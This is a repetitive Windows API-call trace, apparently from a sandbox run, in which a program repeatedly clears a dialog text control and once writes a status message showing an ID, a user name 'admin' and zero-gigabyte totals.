[0052.802] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0052.865] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0052.865] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0053.367] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0053.367] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0053.426] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0053.426] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0054.659] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0054.659] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0054.721] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0054.721] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0054.783] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0054.783] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0054.847] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0054.847] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0054.908] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0054.908] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0054.970] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0054.970] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.204] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.204] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.351] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.351] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.407] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.407] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.470] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.470] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.532] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.532] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.595] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.595] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.657] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.657] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0055.726] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0055.726] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.252] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.255] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.265] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.265] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.327] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.327] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.393] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.393] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.453] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.453] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.552] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.552] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.604] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.604] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.675] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.675] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.705] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.707] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.772] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.772] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.845] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.845] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0056.907] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0056.907] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0057.109] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0057.147] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0057.419] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0057.419] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0057.450] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0057.451] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0057.541] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0057.541] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0057.634] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0057.634] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0057.866] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0057.866] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0057.934] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0057.934] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.274] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.274] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.277] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.277] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.375] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.375] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.434] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.434] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.496] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.496] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.558] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.558] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.621] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.621] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.683] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.683] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.745] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.746] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.820] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.820] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.870] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.870] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.933] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.933] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0058.995] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0058.995] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.058] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.059] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.138] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.138] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.182] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.182] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.245] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.245] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.307] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.307] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.369] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.369] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.470] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.470] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.494] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.494] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.557] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.557] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.619] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.619] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.685] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.685] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0059.744] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0059.744] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.267] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.267] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.274] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.274] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.336] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.336] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.477] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.477] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.524] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.524] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.588] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.588] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.648] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.648] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.711] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.711] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.820] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.820] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.867] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.868] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0060.913] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0060.914] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.001] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.001] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.032] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.032] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.086] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.086] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.148] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.148] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.211] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.211] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.273] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.273] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.336] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.336] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.414] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.414] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.506] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.506] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.553] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.553] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.600] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.600] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.696] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.696] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.726] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.726] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.788] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.788] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.854] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.854] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.920] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.920] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0061.981] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0061.981] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.045] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.045] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.110] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.110] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.172] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.172] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.233] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.234] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.302] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.302] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.343] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.344] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.413] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.413] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.469] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.469] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.536] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.536] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.630] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.630] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.652] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.652] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.723] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.723] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.771] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.771] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.833] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.833] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.895] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.895] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0062.958] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0062.958] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.020] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.020] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.098] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.098] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.144] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.144] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.615] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.615] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.648] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.648] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.706] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.706] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.769] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.769] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.831] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.831] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.895] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.895] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0063.963] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0063.963] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.029] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.029] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.100] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.100] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.158] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.158] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.253] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.253] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.299] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.299] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.341] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.341] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.389] wsprintfW (in: param_1=0x18f3f0, param_2="1. ID: %08X\r\n2. %s\r\n" | out: param_1="1. ID: 4B2E4630\r\n2. admin\r\n") returned 27 [0064.389] wsprintfW (in: param_1=0x18f3f0, param_2="3. Total: %I64d.%02I64d gb (%u)/%I64d.%02I64d gb (%u)/%u%%\r\n" | out: param_1="3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 38 [0064.389] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0064.389] SetWindowTextW (hWnd=0x6015a, lpString="1. ID: 4B2E4630\r\n2. admin\r\n--------------------\r\n3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 1 [0064.395] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.395] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.472] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.472] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.533] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.533] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.602] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.602] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.655] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.655] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.726] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.726] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.787] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.787] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.861] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.861] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.907] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.907] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0064.960] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0064.960] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.043] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.043] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.099] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.099] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.158] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.158] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.204] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.204] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.267] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.267] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.330] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.330] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.395] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.395] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.454] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.454] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.533] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.533] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0065.989] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0065.989] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.047] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.047] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.109] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.109] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.172] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.172] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.233] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.233] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.296] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.296] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.358] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.358] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.420] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.420] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.483] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.483] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.545] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.545] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.608] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.608] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.670] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.670] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.748] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.748] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.807] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.807] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.888] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.888] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0066.935] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0066.935] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.029] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.029] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.090] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.090] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.112] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.112] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.185] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.185] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.263] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.263] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.310] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.310] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.405] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.405] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.450] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.450] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.497] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.497] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.575] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.575] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.622] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.622] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.699] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.700] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.746] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.746] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.809] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.809] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.872] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.872] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.919] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.919] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0067.981] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0067.981] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.043] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.043] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.105] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.106] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.181] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.181] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.231] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.231] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.634] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.635] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.667] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.667] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.760] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.760] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.817] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.817] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.882] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.882] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.939] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 